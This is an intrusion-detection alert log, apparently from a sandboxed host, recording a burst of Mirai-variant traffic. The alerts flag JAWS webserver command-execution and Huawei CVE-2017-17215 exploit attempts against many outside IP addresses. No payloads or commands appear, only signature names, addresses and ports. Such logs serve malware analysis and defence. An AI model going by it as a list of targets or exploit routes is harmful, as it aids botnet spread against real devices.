2024-12-03T22:17:17.101887+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56618	119.163.95.200	80	TCP
2024-12-03T22:17:17.102077+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46520	63.186.73.228	80	TCP
2024-12-03T22:17:17.102077+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46520	63.186.73.228	80	TCP
2024-12-03T22:17:17.876887+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36286	82.117.212.11	80	TCP
2024-12-03T22:17:17.876887+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36286	82.117.212.11	80	TCP
2024-12-03T22:17:17.905034+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49166	207.31.188.4	80	TCP
2024-12-03T22:17:17.905034+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49166	207.31.188.4	80	TCP
2024-12-03T22:17:17.936507+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38642	129.65.108.220	80	TCP
2024-12-03T22:17:17.936507+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38642	129.65.108.220	80	TCP
2024-12-03T22:17:17.945749+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36528	173.92.73.28	80	TCP
2024-12-03T22:17:17.945749+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36528	173.92.73.28	80	TCP
2024-12-03T22:17:17.967854+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55076	20.46.92.83	80	TCP
2024-12-03T22:17:17.967854+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55076	20.46.92.83	80	TCP
2024-12-03T22:17:18.061653+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49278	209.24.153.157	80	TCP
2024-12-03T22:17:18.061653+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49278	209.24.153.157	80	TCP
2024-12-03T22:17:18.070964+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59224	155.1.144.0	80	TCP
2024-12-03T22:17:18.070964+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59224	155.1.144.0	80	TCP
2024-12-03T22:17:18.071017+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48634	206.130.193.31	80	TCP
2024-12-03T22:17:18.071017+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48634	206.130.193.31	80	TCP
2024-12-03T22:17:18.327276+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49590	157.22.181.36	80	TCP
2024-12-03T22:17:18.327276+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49590	157.22.181.36	80	TCP
2024-12-03T22:17:18.359862+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42842	196.188.148.76	80	TCP
2024-12-03T22:17:18.359862+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42842	196.188.148.76	80	TCP
2024-12-03T22:17:19.024060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58934	156.136.30.83	37215	TCP
2024-12-03T22:17:19.030400+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57838	197.205.167.250	37215	TCP
2024-12-03T22:17:19.061405+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59332	155.118.130.193	80	TCP
2024-12-03T22:17:19.061405+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59332	155.118.130.193	80	TCP
2024-12-03T22:17:19.061488+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38904	189.182.4.61	80	TCP
2024-12-03T22:17:19.061488+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38904	189.182.4.61	80	TCP
2024-12-03T22:17:19.061677+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55200	102.76.177.99	80	TCP
2024-12-03T22:17:19.061677+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55200	102.76.177.99	80	TCP
2024-12-03T22:17:19.061895+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48552	129.148.53.122	80	TCP
2024-12-03T22:17:19.061895+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48552	129.148.53.122	80	TCP
2024-12-03T22:17:19.077017+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39834	123.103.236.184	80	TCP
2024-12-03T22:17:19.077017+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39834	123.103.236.184	80	TCP
2024-12-03T22:17:19.092855+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51112	154.142.82.9	80	TCP
2024-12-03T22:17:19.092855+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51112	154.142.82.9	80	TCP
2024-12-03T22:17:19.108780+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56648	209.127.151.124	80	TCP
2024-12-03T22:17:19.108780+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56648	209.127.151.124	80	TCP
2024-12-03T22:17:19.149301+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48718	200.217.174.254	80	TCP
2024-12-03T22:17:19.149301+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48718	200.217.174.254	80	TCP
2024-12-03T22:17:19.196043+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42506	197.120.156.119	37215	TCP
2024-12-03T22:17:19.196045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43724	197.102.235.77	37215	TCP
2024-12-03T22:17:19.264566+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38640	156.218.59.212	37215	TCP
2024-12-03T22:17:19.295944+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35862	41.43.153.43	37215	TCP
2024-12-03T22:17:19.296135+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51316	197.17.103.86	37215	TCP
2024-12-03T22:17:19.296145+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41050	197.159.147.46	37215	TCP
2024-12-03T22:17:19.305303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41428	41.14.50.44	37215	TCP
2024-12-03T22:17:19.342921+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60084	129.211.245.21	80	TCP
2024-12-03T22:17:19.342921+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60084	129.211.245.21	80	TCP
2024-12-03T22:17:19.343299+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37358	110.248.91.166	80	TCP
2024-12-03T22:17:19.343299+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37358	110.248.91.166	80	TCP
2024-12-03T22:17:19.351922+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60542	41.208.59.239	37215	TCP
2024-12-03T22:17:19.352131+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33892	197.127.87.85	37215	TCP
2024-12-03T22:17:19.383330+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56500	39.172.171.102	80	TCP
2024-12-03T22:17:19.383330+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56500	39.172.171.102	80	TCP
2024-12-03T22:17:20.139545+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43246	197.141.228.35	37215	TCP
2024-12-03T22:17:20.155490+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36492	156.102.50.103	37215	TCP
2024-12-03T22:17:20.155541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45398	156.209.91.207	37215	TCP
2024-12-03T22:17:20.155636+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34020	197.132.239.110	37215	TCP
2024-12-03T22:17:20.170760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47106	41.109.98.56	37215	TCP
2024-12-03T22:17:20.180101+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42094	41.117.51.108	37215	TCP
2024-12-03T22:17:20.186437+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48328	156.7.85.127	37215	TCP
2024-12-03T22:17:20.186569+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58618	197.118.170.210	37215	TCP
2024-12-03T22:17:20.195876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42166	197.17.71.168	37215	TCP
2024-12-03T22:17:20.195899+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41958	197.115.32.3	37215	TCP
2024-12-03T22:17:20.196050+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46944	41.254.131.163	37215	TCP
2024-12-03T22:17:20.202162+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41560	156.133.251.13	37215	TCP
2024-12-03T22:17:20.202557+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42680	41.5.217.19	37215	TCP
2024-12-03T22:17:20.211386+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37848	197.103.210.192	37215	TCP
2024-12-03T22:17:20.211546+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52378	197.26.35.39	37215	TCP
2024-12-03T22:17:20.211658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54930	156.9.30.47	37215	TCP
2024-12-03T22:17:20.211786+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38532	156.89.14.119	37215	TCP
2024-12-03T22:17:20.227047+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58626	41.34.214.87	37215	TCP
2024-12-03T22:17:20.227366+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33948	197.33.53.110	37215	TCP
2024-12-03T22:17:20.227370+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34878	156.191.123.120	37215	TCP
2024-12-03T22:17:20.227416+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44954	197.133.93.229	37215	TCP
2024-12-03T22:17:20.227514+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33562	197.144.147.132	37215	TCP
2024-12-03T22:17:20.227649+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35912	197.145.151.250	37215	TCP
2024-12-03T22:17:20.227883+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47314	41.220.241.148	37215	TCP
2024-12-03T22:17:20.228016+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45482	41.59.198.162	37215	TCP
2024-12-03T22:17:20.436806+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59774	197.150.122.145	37215	TCP
2024-12-03T22:17:20.467969+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38814	197.164.229.139	37215	TCP
2024-12-03T22:17:20.477070+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58030	197.112.51.51	37215	TCP
2024-12-03T22:17:20.477071+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54846	156.103.184.211	37215	TCP
2024-12-03T22:17:20.477115+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43364	41.45.183.253	37215	TCP
2024-12-03T22:17:20.477239+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33108	156.2.213.29	37215	TCP
2024-12-03T22:17:22.312062+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46234	156.126.205.173	37215	TCP
2024-12-03T22:17:22.312282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39432	156.98.219.76	37215	TCP
2024-12-03T22:17:22.320901+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60202	156.244.187.198	37215	TCP
2024-12-03T22:17:22.326997+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33752	41.147.45.161	37215	TCP
2024-12-03T22:17:22.327813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42722	197.225.68.91	37215	TCP
2024-12-03T22:17:22.328154+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58368	197.127.1.201	37215	TCP
2024-12-03T22:17:22.328328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46794	41.179.220.250	37215	TCP
2024-12-03T22:17:22.336394+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33256	41.90.157.197	37215	TCP
2024-12-03T22:17:22.336704+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56236	156.61.1.184	37215	TCP
2024-12-03T22:17:22.336792+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53530	41.204.93.8	37215	TCP
2024-12-03T22:17:22.343088+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44924	197.103.182.67	37215	TCP
2024-12-03T22:17:22.343224+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59426	41.101.114.169	37215	TCP
2024-12-03T22:17:22.352420+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49732	41.127.74.226	37215	TCP
2024-12-03T22:17:22.352627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44534	156.69.249.252	37215	TCP
2024-12-03T22:17:22.352636+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60458	156.208.104.233	37215	TCP
2024-12-03T22:17:22.368439+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51756	41.218.179.25	37215	TCP
2024-12-03T22:17:22.384228+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47758	41.234.62.63	37215	TCP
2024-12-03T22:17:22.468712+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41350	218.240.211.54	80	TCP
2024-12-03T22:17:22.468712+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41350	218.240.211.54	80	TCP
2024-12-03T22:17:22.477379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51224	41.235.173.53	37215	TCP
2024-12-03T22:17:22.492687+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60146	37.167.205.59	80	TCP
2024-12-03T22:17:22.492687+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60146	37.167.205.59	80	TCP
2024-12-03T22:17:22.515252+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49350	222.56.136.103	80	TCP
2024-12-03T22:17:22.515252+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49350	222.56.136.103	80	TCP
2024-12-03T22:17:22.524892+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35830	131.251.233.12	80	TCP
2024-12-03T22:17:22.524892+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35830	131.251.233.12	80	TCP
2024-12-03T22:17:22.595115+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39082	40.206.44.12	80	TCP
2024-12-03T22:17:22.595115+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39082	40.206.44.12	80	TCP
2024-12-03T22:17:22.618027+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49094	85.167.75.107	80	TCP
2024-12-03T22:17:22.618027+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49094	85.167.75.107	80	TCP
2024-12-03T22:17:23.593603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37580	197.133.185.111	37215	TCP
2024-12-03T22:17:23.609059+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57836	156.13.114.133	37215	TCP
2024-12-03T22:17:23.618077+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40174	156.105.61.8	37215	TCP
2024-12-03T22:17:23.618370+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33430	41.99.9.78	37215	TCP
2024-12-03T22:17:23.624132+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51728	41.196.239.127	37215	TCP
2024-12-03T22:17:23.624178+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40592	197.221.96.253	37215	TCP
2024-12-03T22:17:23.639907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58448	41.206.26.236	37215	TCP
2024-12-03T22:17:23.640102+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36116	156.15.254.233	37215	TCP
2024-12-03T22:17:23.648778+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44030	197.83.152.134	37215	TCP
2024-12-03T22:17:23.648967+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33492	156.153.72.153	37215	TCP
2024-12-03T22:17:24.389932+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56578	46.179.166.165	80	TCP
2024-12-03T22:17:24.389932+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56578	46.179.166.165	80	TCP
2024-12-03T22:17:24.648986+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35484	156.118.69.166	37215	TCP
2024-12-03T22:17:24.649265+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46742	197.151.72.14	37215	TCP
2024-12-03T22:17:25.090753+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44612	197.214.201.241	37215	TCP
2024-12-03T22:17:25.452266+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58910	156.167.104.86	37215	TCP
2024-12-03T22:17:25.467796+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40884	156.59.68.15	37215	TCP
2024-12-03T22:17:25.467948+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37164	41.233.58.226	37215	TCP
2024-12-03T22:17:25.499265+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34112	27.23.244.93	80	TCP
2024-12-03T22:17:25.499265+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34112	27.23.244.93	80	TCP
2024-12-03T22:17:25.514768+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52558	41.196.234.206	37215	TCP
2024-12-03T22:17:25.514770+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38046	197.172.41.216	37215	TCP
2024-12-03T22:17:25.514847+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56018	197.20.71.88	37215	TCP
2024-12-03T22:17:25.555492+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46992	122.51.34.245	80	TCP
2024-12-03T22:17:25.555492+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46992	122.51.34.245	80	TCP
2024-12-03T22:17:25.555501+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45804	141.101.229.14	80	TCP
2024-12-03T22:17:25.555501+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45804	141.101.229.14	80	TCP
2024-12-03T22:17:25.655752+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43326	223.224.73.203	80	TCP
2024-12-03T22:17:25.655752+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43326	223.224.73.203	80	TCP
2024-12-03T22:17:25.664505+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50104	41.152.153.123	37215	TCP
2024-12-03T22:17:26.483400+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53306	94.202.68.70	80	TCP
2024-12-03T22:17:26.483400+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53306	94.202.68.70	80	TCP
2024-12-03T22:17:26.483476+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60528	102.178.231.2	80	TCP
2024-12-03T22:17:26.483476+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60528	102.178.231.2	80	TCP
2024-12-03T22:17:26.483679+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42128	180.221.255.122	80	TCP
2024-12-03T22:17:26.483679+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42128	180.221.255.122	80	TCP
2024-12-03T22:17:26.483762+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52438	84.166.254.51	80	TCP
2024-12-03T22:17:26.483762+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52438	84.166.254.51	80	TCP
2024-12-03T22:17:26.515006+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43056	57.252.136.118	80	TCP
2024-12-03T22:17:26.515006+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43056	57.252.136.118	80	TCP
2024-12-03T22:17:26.515130+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56840	162.192.141.3	80	TCP
2024-12-03T22:17:26.515130+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56840	162.192.141.3	80	TCP
2024-12-03T22:17:26.515202+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45754	38.228.60.18	80	TCP
2024-12-03T22:17:26.515202+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45754	38.228.60.18	80	TCP
2024-12-03T22:17:26.515379+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34376	47.105.199.187	80	TCP
2024-12-03T22:17:26.515379+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34376	47.105.199.187	80	TCP
2024-12-03T22:17:26.515446+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49718	48.204.138.160	80	TCP
2024-12-03T22:17:26.515446+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49718	48.204.138.160	80	TCP
2024-12-03T22:17:26.515699+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39310	112.96.150.125	80	TCP
2024-12-03T22:17:26.515699+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39310	112.96.150.125	80	TCP
2024-12-03T22:17:26.515763+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57018	24.190.180.195	80	TCP
2024-12-03T22:17:26.515763+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57018	24.190.180.195	80	TCP
2024-12-03T22:17:26.515913+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39258	59.152.138.207	80	TCP
2024-12-03T22:17:26.515913+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39258	59.152.138.207	80	TCP
2024-12-03T22:17:26.516040+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41280	178.2.115.55	80	TCP
2024-12-03T22:17:26.516040+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41280	178.2.115.55	80	TCP
2024-12-03T22:17:26.524305+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34228	135.251.244.249	80	TCP
2024-12-03T22:17:26.524305+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34228	135.251.244.249	80	TCP
2024-12-03T22:17:26.524390+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57768	167.22.27.200	80	TCP
2024-12-03T22:17:26.524390+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57768	167.22.27.200	80	TCP
